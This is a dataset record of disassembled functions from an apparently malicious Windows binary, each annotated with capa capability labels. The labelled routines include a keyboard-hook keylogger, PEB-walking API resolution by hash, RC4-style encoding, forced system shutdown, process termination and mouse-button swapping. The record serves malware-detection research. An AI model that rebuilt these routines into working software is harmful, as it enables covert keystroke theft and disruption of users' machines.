joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ce89f
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, 0x619649
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4ce8cc
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.oleaut32.dll_SysReAllocString
push 0
push dword [ebp + 0x24]
push 1
mov ebx, 0x168
call fcn.005386e0
add esp, 0x10
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push dword [ebp - 4]
mov ebx, dword [ebp + 0x20]
push dword [ebx]
push dword [ebp - 4]
mov ebx, dword [ebp + 0x1c]
push dword [ebx]
push dword [ebp - 4]
mov ebx, dword [ebp + 0x18]
push dword [ebx]
push dword [ebp - 4]
mov ebx, dword [ebp + 0x14]
push dword [ebx]
push dword [ebp - 4]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
push dword [ebp - 4]
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ecx, 0xd
call fcn.0049d94d
add esp, 0x34
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4ce942
push ebx
call fcn.0053558f
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4ce956
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov dword [ebp - 8], eax
push reloc.oleaut32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.0049dd5e
push SysStringLen
push 0
push 0x61964d
push SysStringLen
push 0
push 0x61880a
push SysStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4ce99b
mov eax, 0x618809
push eax
push 6
mov ebx, 0x180
call fcn.00536980
add esp, 0x4c
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push 0x61880a
mov ecx, 2
call fcn.0049d94d
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4ce9d9
push ebx
call fcn.0053558f
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4ce9ed
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
call dword [0x6379f1]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4cea10
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push 5
push 0x618809
push dword [ebp - 8]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0x618809
push dword [ebp - 0x10]
call dword [sym.imp.shell32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x4cea4c
push 6
call fcn.0053559b
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x4cea68
push eax
mov ebx, eax
call fcn.0049d8e2
inc eax
push eax
call fcn.00535595
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4cea6d
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4cea7e
push ebx
call fcn.0053558f
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4cea8e
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x20
Function at 0x4d52da
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.kernel32.dll_DeleteFileA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4d5307
push 6
call fcn.0053559b
add esp, 4
jmp 0x4d530c
mov esp, ebp
pop ebp
ret 4

Function at 0x4d9f3c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
push edi
xor ebx, ebx
lea edx, [ebp - 0x204]
xor edi, edi
push 8
mov dword [ebp - 4], edi
mov cl, bl
pop esi
jmp 0x4d9f5f
mov edi, dword [ebp - 4]
shr word [ebp - 4], 1
mov al, cl
and edi, 1
and eax, 1
xor eax, edi
test eax, eax
je 0x4d9f78
xor dword [ebp - 4], 0xa001
shr cl, 1
dec esi
jne 0x4d9f5c
mov ax, word [ebp - 4]
inc ebx
mov word [edx], ax
inc edx
inc edx
cmp ebx, 0x100
jl 0x4d9f50
and dword [ebp - 4], 0
xor eax, eax
cmp dword [ebp + 0xc], eax
pop edi
pop esi
pop ebx
jbe 0x4d9fc8
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
and edx, 0xff
movzx ecx, byte [eax + ecx]
xor ecx, edx
xor edx, edx
mov dl, byte [ebp - 3]
mov cx, word [ebp + ecx*2 - 0x204]
xor cx, dx
inc eax
cmp eax, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
jb 0x4d9f9d
mov ax, word [ebp - 4]
leave
ret 8

Function at 0x4de50a
Capabilities:
Swap mouse buttons

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], esp
push dword [ebp + 8]
call dword [sym.imp.user32.dll_SwapMouseButton]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4de535
push 6
call fcn.0053559b
add esp, 4
mov esp, ebp
pop ebp
ret 4
Function at 0x4e2706
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x14
call fcn.00535595
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 5
rep stosd dword es:[edi], eax
add ebx, 0xc
push ebx
push 0x10c
call fcn.00535595
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x619351
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x41
rep stosd dword es:[edi], eax
add ebx, 4
push ebx
push 0x58
call fcn.00535595
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x619359
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x14
rep stosd dword es:[edi], eax
mov dword [ebp - 8], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 4]
push eax
push 0x160
call fcn.00535595
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x104
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.shell32.dll_SHGetFileInfoA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4e2814
push 6
call fcn.0053559b
add esp, 4
push eax
mov ebx, dword [ebp - 0xc]
push ebx
mov edi, dword [ebp - 0x10]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00536400
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4e2869
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4e2867
imul eax, dword [edi]
jmp 0x4e285c
mov ecx, eax
cmp ecx, 0x104
jle 0x4e2876
mov ecx, 0x104
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x104
push ebx
push edi
push 1
mov eax, 2
call fcn.00536400
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4e28b4
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4e28b2
imul eax, dword [edi]
jmp 0x4e28a7
mov ecx, eax
cmp ecx, 0x50
jle 0x4e28be
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.0053558f
add esp, 4
pop eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
jmp 0x4e28e3
push eax
mov ebx, dword [ebp - 4]
push ebx
add ebx, 0xc
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0053558f
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0053558f
add esp, 4
pop ebx
call fcn.0053558f
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4e72a6
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
jmp 0x4e72ae
sub esp, 0x28
push ecx
mov ecx, dword [ebp + 8]
cmp ecx, 0
jle 0x4e72f3
mov eax, dword [ecx]
mov dword [ebp - 8], eax
cmp word [ebp - 8], 0x5a4d
jne 0x4e72f3
lea eax, [ecx + 0x3c]
mov eax, dword [eax]
add ecx, eax
mov eax, dword [ecx]
cmp eax, 0x4550
jne 0x4e72f3
lea eax, [ecx + 0x16]
mov eax, dword [eax]
cwde
and eax, 0x2000
test eax, eax
je 0x4e72f3
lea eax, [ecx + 0x28]
mov eax, dword [eax]
add eax, dword [ebp + 8]
jmp 0x4e72f7
xor eax, eax
jmp 0x4e7322
nop
push 0
push 0
push 0
call eax
call fcn.004e7327
push 0x700ed6df
push eax
push 0
call fcn.004e737a
push 0
push 0x8000
push 0
push dword [ebp + 8]
push 0xffffffffffffffff
call eax
pop ecx
leave
ret 4

Function at 0x4e7327
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4e7355
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4e734c
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4e7344
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x4e7376
mov esp, ebp
pop ebp
ret

Function at 0x4e737a
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x4e73e6
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x4e7413
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x4e7402
xor ecx, eax
xor edx, ebx
dec edi
jne 0x4e73f3
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x4e7439
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x4e73da
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x4e7465
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4eb973
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [0x6378d5], eax
mov dword [ebp - 4], esp
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4eb9a8
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 8]
push 0x4ebd71
push 0xd
call dword [sym.imp.user32.dll_SetWindowsHookExA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4eb9dc
push 6
call fcn.0053559b
add esp, 4
mov dword [0x6378d9], eax
mov esp, ebp
pop ebp
ret 8

Function at 0x4ec332
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], esp
push 0xffff
push 0
call dword [sym.imp.user32.dll_ExitWindowsEx]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4ec364
push 6
call fcn.0053559b
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x4ec7bc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
push dword [ebp + 0x14]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4ec7fc
push 6
call fcn.0053559b
add esp, 4
jmp 0x4ec801
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4ed59a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x108
call fcn.00535595
add esp, 4
mov dword [ebp - 4], eax
mov edi, eax
mov esi, 0x618c75
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
push 0x108
call fcn.00535595
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x618c75
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov ebx, dword [ebp - 4]
call fcn.0049d8c2
mov eax, 0
cmp eax, ecx
jl 0x4ed610
push 1
call fcn.0053559b
add esp, 4
add ebx, eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x10]
mov byte [ebx], 0
mov ebx, dword [ebp - 8]
call fcn.0049d8c2
mov eax, 0
cmp eax, ecx
jl 0x4ed639
push 1
call fcn.0053559b
add esp, 4
add ebx, eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x10]
mov byte [ebx], 0
mov eax, dword [ebp - 4]
add eax, 8
mov ecx, 0x100
xor ebx, ebx
sub bl, cl
mov byte [ebx + eax], bl
loop 0x4ed64f
push eax
mov edx, dword [ebp + 0x10]
mov edx, dword [edx]
mov edi, dword [edx + 4]
add edx, 8
mov esi, dword [ebp - 8]
add esi, 8
mov ecx, 0x100
xor ebx, ebx
cmp ebx, edi
jb 0x4ed677
xor ebx, ebx
mov ah, byte [ebx + edx]
mov byte [esi], ah
inc esi
inc ebx
loop 0x4ed671
pop edi
xor ebx, ebx
sub esi, 0x100
xor eax, eax
mov ecx, 0x100
mov dl, byte [eax + esi]
add bl, dl
mov dl, byte [eax + edi]
add bl, dl
mov dl, byte [eax + edi]
mov dh, byte [ebx + edi]
mov byte [eax + edi], dh
mov byte [ebx + edi], dl
inc eax
loop 0x4ed690
mov esi, dword [ebp + 8]
mov esi, dword [esi]
mov ecx, dword [esi + 4]
mov dword [ebp - 0xc], ecx
add esi, 8
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x1bc
call fcn.00536520
add esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4ed6ec
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
add edx, 8
xor eax, eax
xor ebx, ebx
push ecx
movzx ecx, al
inc cl
push edx
mov dh, byte [ecx + edi]
add bl, dh
mov dl, byte [ebx + edi]
mov byte [ecx + edi], dl
mov byte [ebx + edi], dh
add dl, dh
movzx edx, dl
mov dl, byte [edx + edi]
mov cl, byte [eax + esi]
xor cl, dl
pop edx
mov byte [eax + edx], cl
inc eax
pop ecx
loop 0x4ed701
mov ebx, dword [ebp - 4]
push ebx
call fcn.0053558f
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
call fcn.0053558f
add esp, 4
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4ed911
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push reloc.oleaut32.dll_SysStringLen
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x164
call fcn.005398c0
add esp, 0x10
push 0x80000601
push edx
push eax
push 1
mov ebx, 0x168
call fcn.005386e0
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0x80000301
push 0
push dword [ebp + 0xc]
push 1
mov ebx, 0x168
call fcn.005386e0
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push dword [ebp + 0x14]
push 1
mov ebx, 0x168
call fcn.005386e0
add esp, 0x10
mov dword [ebp - 0x1c], eax
push 0x80000301
push 0
push dword [ebp + 0x1c]
push 1
mov ebx, 0x168
call fcn.005386e0
add esp, 0x10
mov dword [ebp - 0x20], eax
push 0x80000301
push 0
push dword [ebp + 0x24]
push 1
mov ebx, 0x168
call fcn.005386e0
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x80000301
push 0
push dword [ebp + 0x2c]
push 1
mov ebx, 0x168
call fcn.005386e0
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x619383
push dword [ebp - 0x28]
push 0x619383
push dword [ebp - 0x24]
push 0x619383
push dword [ebp - 0x20]
push 0x619383
push dword [ebp - 0x1c]
push 0x619383
push dword [ebp - 0x18]
push 0x619383
push dword [ebp - 0x14]
mov ecx, 0xc
call fcn.0049d94d
add esp, 0x30
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4eda4b
push ebx
call fcn.0053558f
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4eda5b
push ebx
call fcn.0053558f
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4eda6b
push ebx
call fcn.0053558f
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4eda7b
push ebx
call fcn.0053558f
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4eda8b
push ebx
call fcn.0053558f
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4eda9b
push ebx
call fcn.0053558f
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4edaaf
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.004b905a
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp + 0x34]
push 0
push dword [ebp - 0xc]
push 0x4edeb7
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4edaf8
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 1
call dword [sym.imp.kernel32.dll_Sleep]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4edb1f
push 6
call fcn.0053559b
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x4edb27
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4edb38
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x34
Function at 0x4ee316
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 0xc], 0
jne 0x4ee35a
push 0
mov ebx, 0x108
call fcn.0053bb60
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4ee354
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
push 1
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.004bccec
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push dword [ebp - 4]
push 0
push 1
call dword [sym.imp.kernel32.dll_OpenProcess]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4ee396
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
push dword [ebp - 0xc]
call dword [sym.imp.kernel32.dll_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4ee3c0
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
mov eax, 0
sete al
jmp 0x4ee3d4
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4f1410
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push ebx
xor eax, eax
mov ebx, dword fs:[0x18]
mov ecx, dword fs:[0x30]
test ecx, ecx
jns 0x4f1448
mov ecx, 0x530000
cmp dword [ebx + 0x58], ecx
jne 0x4f1436
mov al, 1
jmp 0x4f1499
cmp dword [ebx + 0x54], ecx
jne 0x4f143f
mov al, 2
jmp 0x4f1499
cmp dword [ebx + 0x7c], ecx
jne 0x4f1499
mov al, 3
jmp 0x4f1499
mov ebx, dword [ecx + 0xa8]
mov ecx, dword [ecx + 0xa4]
cmp ecx, 4
ja 0x4f145d
mov al, 4
jmp 0x4f1499
cmp ecx, 5
jne 0x4f147d
cmp ebx, 0
jne 0x4f146b
mov al, 5
jmp 0x4f1499
cmp ebx, 1
jne 0x4f1474
mov al, 6
jmp 0x4f1499
cmp ebx, 2
jne 0x4f147d
mov al, 7
jmp 0x4f1499
cmp ecx, 6
jne 0x4f1489
cmp ebx, 0
jne 0x4f148b
mov al, 8
jmp 0x4f1499
cmp ebx, 1
jne 0x4f1492
mov al, 9
cmp ebx, 2
jne 0x4f1499
mov al, 0xa
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4f6161
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], esp
push 1
push 0x618809
push 0x618809
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0x620378
push 0
call dword [sym.imp.shell32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4f61a7
push 6
call fcn.0053559b
add esp, 4
mov esp, ebp
pop ebp
ret 4

Function at 0x4f7167
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SuspendThread]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4f7192
push 6
call fcn.0053559b
add esp, 4
jmp 0x4f7197
mov esp, ebp
pop ebp
ret 4

Function at 0x4f71ab
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 0
push 2
mov ebx, 0xc8
call fcn.00538490
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0xffff
push dword [ebp - 4]
call dword [sym.imp.user32.dll_ExitWindowsEx]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4f7208
push 6
call fcn.0053559b
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x4f83fe
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 0x14], 1
jne 0x4f841d
mov dword [ebp + 0x14], 0
jmp 0x4f843a
cmp dword [ebp + 0x14], 2
jne 0x4f8433
mov dword [ebp + 0x14], 7
jmp 0x4f843a
mov dword [ebp + 0x14], 1
mov dword [ebp - 4], esp
push dword [ebp + 0x14]
push 0x618809
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0x620378
push 0
call dword [sym.imp.shell32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4f8475
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jne 0x4f8491
mov eax, 0
jmp 0x4f849b
mov eax, 1
jmp 0x4f849b
mov esp, ebp
pop ebp
ret 0x14

Function at 0x4fa114
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
jle 0x4fa2a2
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x4fa143
mov eax, 0x6187fe
push eax
push 1
mov ebx, 0x194
call fcn.00536830
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x1bc
call fcn.00536520
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4fa187
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x4fa1a0
mov eax, 0x6187fe
push eax
push 1
mov ebx, 0x194
call fcn.00536830
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x4fa1c8
add eax, 8
push eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x4fa1d3
add eax, 8
push eax
call dword [0x637a5d]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4fa1f0
push 6
call fcn.0053559b
add esp, 4
cmp dword [ebp + 0x10], 0
jne 0x4fa26b
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x4fa20f
mov eax, 0x6187fe
push eax
push 1
mov ebx, 0x194
call fcn.00536830
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
mov eax, 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
mov eax, dword [ebp - 4]
test eax, eax
je 0x4fa246
add eax, 8
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_WriteFile]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4fa266
push 6
call fcn.0053559b
add esp, 4
jmp 0x4fa2ac
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x4fa280
mov eax, 0x6187fe
push eax
push 0x80000301
push 0
push dword [ebp + 8]
push 2
mov ebx, 0x298
call fcn.0053e300
add esp, 0x1c
jmp 0x4fa2ac
mov eax, 0
jmp 0x4fa2ac
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4fa2bd
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4fe9bd
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
call fcn.004a4117
mov dword [ebp - 4], esp
push 0
push 2
call dword [sym.imp.user32.dll_ExitWindowsEx]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4fe9f4
push 6
call fcn.0053559b
add esp, 4
mov esp, ebp
pop ebp
ret